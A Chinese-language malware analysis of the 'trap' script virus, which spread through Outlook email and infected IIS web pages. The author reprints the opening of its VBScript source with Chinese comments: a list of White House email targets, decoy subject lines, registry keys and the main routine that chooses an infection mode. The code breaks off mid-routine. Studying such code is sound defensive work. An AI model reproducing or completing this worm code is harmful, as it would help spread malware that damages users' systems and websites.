7月初在我国出现了一种名叫“陷阱”（trap）的新型恶性病毒，并在7月5日全面爆发，目前国内已有不少的网站和用户遭受“陷阱”的袭击，造成网络系统瘫痪、文件乬失现象严重。该病毒是一种网络脚本语言病毒，并是同时使用了vbscript 和 javascript 两种脚本语言编写的，通过outlook电子邮件传播（不打开邮件也能被感染）、感染文件传播，传播能力较强，并能直接攻击microsoft iis 服务器 主页文件，造成网站感染，被病毒感染的网站如有用户来访问时，同时被感染。从病毒的攻击对象来看，“陷阱”很可能是“国产”病毒，但据了解该病毒其实在6月份就首先在韩国出现。
本人非常不幸也遭遇“陷阱”的袭击，造成7月5日计算机蓝屏，于是我研究了“陷阱”的源代码，经过一番努力终于揭清了代码原理，下面就对“陷阱”的发作过程和源代码作详细的揭密。 '@ thank you! make use of other person to get rid of an enemy, trap _2001 '这句话的意思可能是“借刀杀人”，然后是病毒名称“陷阱” on error resume next dim vbscr, fso,w1,w2,mswkey,hcuw,code_str, vbs_str, js_str dim defpath, smailc, max_size dim whb(), title(10) smailc = 4
病毒具有自身加密能力(使用 javascript 编码技术)，使得普通用户无法看到病毒原码，但在被感染 vbs 文件中并没有加密，于是作为一个入口点，我非常轻松地得到所有源码。
redim whb(smailc) ’白宫相关人员邮件名单
whb(0) = "president@whitehouse.gov"
whb(1) = "vice.president@whitehouse.gov "
whb(2) = "first.lady@whitehouse.gov"
whb(3) = "mrs.cheney@whitehouse.gov"
'发送邮件的主題
title(0) = "thanks for helping me!"
title(1) = "the police are investigating the robbery"
title(2) = "an application for a job "
title(3) = "the aspects of an application process pertinent to osi"
title(4) = "what a pleasant weather. why not go out for a walk?"
title(5) = "these countries have gone / been through too many wars"
title(6) = "we've fixed on the 17th of april for the wedding"
title(7) = "the wind failed and the sea returned to calmness."
title(8) = "the sitting is open!"
title(9) = ""
defpath = "c:\readme.html" ' 病毒文件
max_size = 100000 ' 定义传染文件的最大尺寸
mswkey = "hkey_local_machine\software\microsoft\windows\"
hcuw = "hkey_current_user\software\microsoft\wab\"
main
sub main() '主程序
on error resume next
dim w_s
w_s= wscript.scriptfullname '得到病毒文件本身的路径
if w_s = "" then
err.clear
set fso = createobject("scripting.filesystemobject") '创建文件系统对象
if geterr then '辨认病毒状态
randomize '初始化雜机种子
ra = int(rnd() * 7) '产生雜机数
doucment.write title(ra) ' 写雜机内容
executemail '执行邮件状态时的程序
else
executepage '执行 web 页状态时的程序
end if
else
executevbs '执行 vbs 文件状态时的程序
